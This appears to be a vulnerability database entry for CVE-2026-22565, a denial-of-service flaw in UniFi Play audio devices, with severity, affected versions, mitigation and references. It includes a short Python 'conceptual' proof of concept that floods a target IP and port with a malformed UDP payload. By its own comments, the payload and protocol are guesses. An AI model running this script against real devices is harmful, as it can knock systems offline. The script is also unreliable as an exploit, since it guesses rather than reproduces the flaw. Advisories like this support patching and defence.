CVE-2026-22565

Description

An Improper Input Validation vulnerability could allow a malicious actor with access to the UniFi Play network to cause the device to stop responding.  Affected Products: UniFi Play PowerAmp (Version 1.0.35 and earlier)  UniFi Play Audio Port (Version 1.0.24 and earlier)  Mitigation: Update UniFi Play PowerAmp to Version 1.0.38 or later  Update UniFi Play Audio Port to Version 1.1.9 or later

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

UniFi Play PowerAmp <= 1.0.35

UniFi Play Audio Port <= 1.0.24

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-22565 PoC (Conceptual)
# This script demonstrates a potential DoS exploit by sending malformed data.
# Target: UniFi Play devices

import socket
import sys

def send_malformed_packet(ip, port):
    try:
        # Construct a payload that triggers the input validation flaw
        # Note: The actual payload structure depends on the specific protocol implementation
        payload = b"\x00\x01\x02\x03" + b"\x41" * 1000  # Example buffer overflow pattern
        
        print(f"[*] Sending payload to {ip}:{port}...")
        
        # Assuming UDP protocol based on typical IoT device communication
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(payload, (ip, port))
        sock.close()
        
        print("[+] Payload sent successfully. Check if the device has stopped responding.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python cve_2026_22565_poc.py <IP> <PORT>")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])
    send_malformed_packet(target_ip, target_port)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22565
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22565
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22565/
[4] VulDB https://vuldb.com/cve/CVE-2026-22565
[5] https://community.ui.com/releases/Security-Advisory-Bulletin-063/e468dd4b-5090-4ef8-89d8-939903c08e83

Raw JSON Data

JSON

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